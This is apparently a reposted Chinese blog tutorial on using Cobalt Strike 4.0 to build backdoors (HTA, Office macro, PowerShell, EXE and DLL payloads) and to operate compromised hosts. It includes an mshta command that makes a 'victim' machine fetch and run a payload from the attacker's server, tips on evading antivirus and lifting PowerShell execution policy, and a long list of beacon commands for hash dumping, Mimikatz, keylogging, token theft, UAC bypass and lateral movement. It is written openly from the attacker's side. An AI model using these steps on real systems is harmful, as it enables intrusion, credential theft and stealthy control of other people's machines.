CobalStrike 4.0 生成后门几种方式及主机上线后基础操作是什么
本篇文章为大家展示了CobalStrike 4.0 生成后门几种方式及主机上线后基础操作是什么,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。
步骤:Attacks-〉Packages-〉如下:
HTML Application 生成恶意的HTA木马文件
MS Office Macro 生成office宏病毒文件
Payload Gene rator 生成各种语言版本的payload;
Windows Executable 生成可执行exe木马;
Windows Executable⑸ 生成无状态的可执行exe木马。
1.HTML Application
生成恶意的HTA木马文件
-个HTML Application (HTML应用)是一个使用HTML和一个Internet浏览器支持的脚本语言编写的Windows程序。该程序包生成一个HTML应用,该应用运行一个CobaltSt rikepayload。你可以选择可执行的选项来获取一个HTML应用,此HTML应用使得一个可执行文件落地在磁盘上并运行它。
选择PowerShell选项来得到一个HTML应用
该应用使用PowerShell来运行一个payload。使用VBA选项来静默派生一个MicrosoftExcel实例并运行一个恶意的宏来将payload注入到内存中。
生成一个 HTML application
Attacks -> Packages -> Html Application
这里有三种工作方式
executable(生成可执行攻击脚本)
powershell(生成一个powershell的脚本)
VBA(生成一个vba的脚本,使用mshta命令执行)
这里借鉴一个网上的方法,生成一个powershell,因为i两外两种方式上线不成功,然后配合host file使用。
然后会生成一个URL复制到
http://x.x.x.x:8008/download/file.ext
然后在受害者机器上运行
mshta http://x.x.x.x:8008/download/file.ext
然后CS端就可以收到上线了
2. MS Office Macro
该程序包生成一个MicrosoftOffice的宏文件并提供将宏嵌入Microsoft Word或Microsoft Excel的说明。这个参考我钓鱼部分的宏文件制作部分的文章。
3.payload Generator
该程序包允许你以不同的多种格式导出Cobalt Strike的stager。
运行 Attacks -> packages --> payload generator
该模块可以生成n种语言的后门Payload,包括C,C#,Python,Java,Perl,Powershell脚本,Powershell命 令,Ruby,Raw,免杀框架Veli中的shellcode等等…
渗透Windows主机过程中,用的比较多的就是Powershell和Powershell Command,主要是因为其方便 易用,且可以逃避一下杀毒软件(AV)的查杀。
以Powe rshell Command为例,生成的payload为一串命令,只要在主机上执行这一串命令(主机需安 装Powe rshell), cs即可收到主机的beacon
4.Windows Executable (Windows 可执行文件)
该程序包生成一个Windows可执行Ar tifact,用于传送一个payload stage r。这个程序包为你提供了多种输出选项。
Windows Serv ice EXE 是一个 Windows 可执行文件,可响应Service Cont rol Manage r命令。你可以使用这个可执行文件来作为使用sc命令起的Windows服务的调用程序,或使用Metasploit框架的PsExec模块生成一个自定义的可执行文件。
也就是说,普通的EXE和服务器启动调用的EXE是有区别是。利用Windows ServiceEXE生成的EXE才能用来作为服务自启动的EXE,利用Cobalt Strike中Windows exe生成的EXE不能作为服 务自启动的EXE程序(因为不能响应Service Control Manager)
Windows DLL (32-bit)是一个 x86 的 Windows DLL。
Windows DLL (64-bit)是一个x64的Windows DLL。这个DLL会派生一个32位的进程,并且将你的监听器迁移至其上。这两个DLL选项都会导出一个开始功能,此功能与rundll32 .exe相兼容。使用rundll32 .exe来从命令行加载你的DLL。勾选Use x64 payload框来生成匹配x64 stager的x64Ar tifact。勾选Sign executable file框来使用一个代码签名的证书来签名一个EXE或DLL Ar tifact。你 必须指定一个证书,你必须在C2拓展文件中指定证书。
上面说了好多但是实践非常简单,只是需要确认下受害者的电脑是X64还是X32直接运行我们生成的exe文件
5.Windows Executable(s)
该程序包直接导出Beacon (也就是payload stage),这个Beacon是作者写好的32或64位DLL,是一个不使用stager的可执行文件,直接和监听器连接、传输数据和命令。一个不使用stager的payload Ar tifact被称为无阶段的Ar tifact。这个程序包也有Powe rShell选项来导出Beacon作为一个PowerShell脚本,或raw选项导出与位置无关的beacon代码。
默认情况下,这个对话导出x86 payload stage。勾选Use x64 payload框来使用x64 Ar tifact生成一个x64 stage。勾选Sign executable file框来使用代码签名的证书来签名一个EXE或DLL Artifact。
这里尝试生成一个powershell马
但是生成后直接运行不可行
这里要更改下他的策略
只有管理员才有权限更改这个策略。非管理员会报错。查看脚本执行策略,可以通过:
PS E:> Get-ExecutionPolicy
更改脚本执行策略,可以通过
PS E:> Get-ExecutionPolicyRestrictedPS E:> Set-ExecutionPolicy UnRestricted
然后再次执行:
CS4.0上线机器后操作
右键菜单:
一、Interact
进入操作命令
二、Access
Dump Hashes # 获取hashElevate #提权Golden Ticket #生成黄金票据注入当前会话Make token #凭证转换Run Mimikatz # 运行MimikatzSpawn As #用其他用户生成Cobalt Strike侦听器
三、Explore
Browser Pivot #劫持目标浏览器进程Desktop(VNC) #桌面交互File Browser #文件浏览器Net View #命令Net ViewPort Scan #端口扫描Process List #进程列表Screenshot # 截图
四、Pivoting
SOCKS Server# 代理服务Listener #反向端口转发Deploy VPN #部署VPN
五、Spawn
外部监听器(如指派给MSF,获取meterpreter权限)
六、Session
Note #备注color #标注颜色Remove #删除Sleep #指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务。实际中频率 不宜过快,容易被发现。(心跳时间)Exit #退出
interact打开beacon后执行的操作:
1. argue 进程参数欺骗2. blockdlls 阻⽌⼦进程加载⾮Microsoft DLL3. browserpivot 注⼊受害者浏览器进程4. bypassuac 绕过UAC提升权限5. cancel 取消正在进⾏的下载6. cd 切换⽬录7. checkin 强制让被控端回连⼀次8. clear 清除beacon内部的任务队列9. connect Connect to a Beacon peer over TCP10. covertvpn 部署Covert VPN客户端11. cp 复制⽂件12. dcsync 从DC中提取密码哈希13. desktop 远程桌⾯(VNC)14. dllinject 反射DLL注⼊进程15. dllload 使⽤LoadLibrary将DLL加载到进程中16. download 下载⽂件17. downloads 列出正在进⾏的⽂件下载18. drives 列出⽬标盘符19. elevate 使⽤exp20. execute 在⽬标上执⾏程序(⽆输出21. execute-assembly 在⽬标上内存中执⾏本地.NET程序22. exit 终⽌beacon会话23. getprivs Enable system privileges on current token24. getsystem 尝试获取SYSTEM权限25. getuid 获取⽤户ID26. hashdump 转储密码哈希值27. help 帮助28. inject 在注⼊进程⽣成会话29. jobkill 结束⼀个后台任务30. jobs 列出后台任务31. kerberos_ccache_use 从ccache⽂件中导⼊票据应⽤于此会话32. kerberos_ticket_purge 清除当前会话的票据33. kerberos_ticket_use Apply 从ticket⽂件中导⼊票据应⽤于此会话34. keylogger 键盘记录35. kill 结束进程36. link Connect to a Beacon peer over a named pipe37. logonpasswords 使⽤mimikatz转储凭据和哈希值38. ls 列出⽂件39. make_token 创建令牌以传递凭据40. mimikatz 运⾏mimikatz41. mkdir 创建⼀个⽬录42. mode dns 使⽤DNS A作为通信通道(仅限DNS beacon)43. mode dns-txt 使⽤DNS TXT作为通信通道(仅限D beacon)44. mode dns6 使⽤DNS AAAA作为通信通道(仅限DNS beacon)45. mode http 使⽤HTTP作为通信通道46. mv 移动⽂件47. net net命令48. note 备注49. portscan 进⾏端⼝扫描50. powerpick 通过Unmanaged PowerShell执⾏命令51. powershell 通过powershell.exe执⾏命令52. powershell-import 导⼊powershell脚本53. ppid Set parent PID for spawned post-ex jobs54. ps 显示进程列表55. psexec Use a service to spawn a session on a host56. psexec_psh Use PowerShell to spawn a session on a host57. psinject 在特定进程中执⾏PowerShell命令58. pth 使⽤Mimikatz进⾏传递哈希59. pwd 当前⽬录位置60. reg Query the registry61. rev2self 恢复原始令牌62. rm 删除⽂件或⽂件夹63. rportfwd 端⼝转发64. run 在⽬标上执⾏程序(返回输出)65. runas 以其他⽤户权限执⾏程序66. runasadmin 在⾼权限下执⾏程序67. runu Execute a program under another PID68. screenshot 屏幕截图69. setenv 设置环境变量70. shell 执⾏cmd命令71. shinject 将shellcode注⼊进程72. shspawn 启动⼀个进程并将shellcode注⼊其中73. sleep 设置睡眠延迟时间74. socks 启动SOCKS4代理75. socks stop 停⽌SOCKS76. spawn Spawn a session77. spawnas Spawn a session as another user78. spawnto Set executable to spawn processes into79. spawnu Spawn a session under another PID80. ssh 使⽤ssh连接远程主机81. ssh-key 使⽤密钥连接远程主机82. steal_token 从进程中窃取令牌83. timestomp 将⼀个⽂件的时间戳应⽤到另⼀个⽂件84. unlink Disconnect from parent Beacon85. upload 上传⽂件86. wdigest 使⽤mimikatz转储明⽂凭据87. winrm 使⽤WinRM横向渗透88. wmi 使⽤WMI横向渗透
上述内容就是CobalStrike 4.0 生成后门几种方式及主机上线后基础操作是什么,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。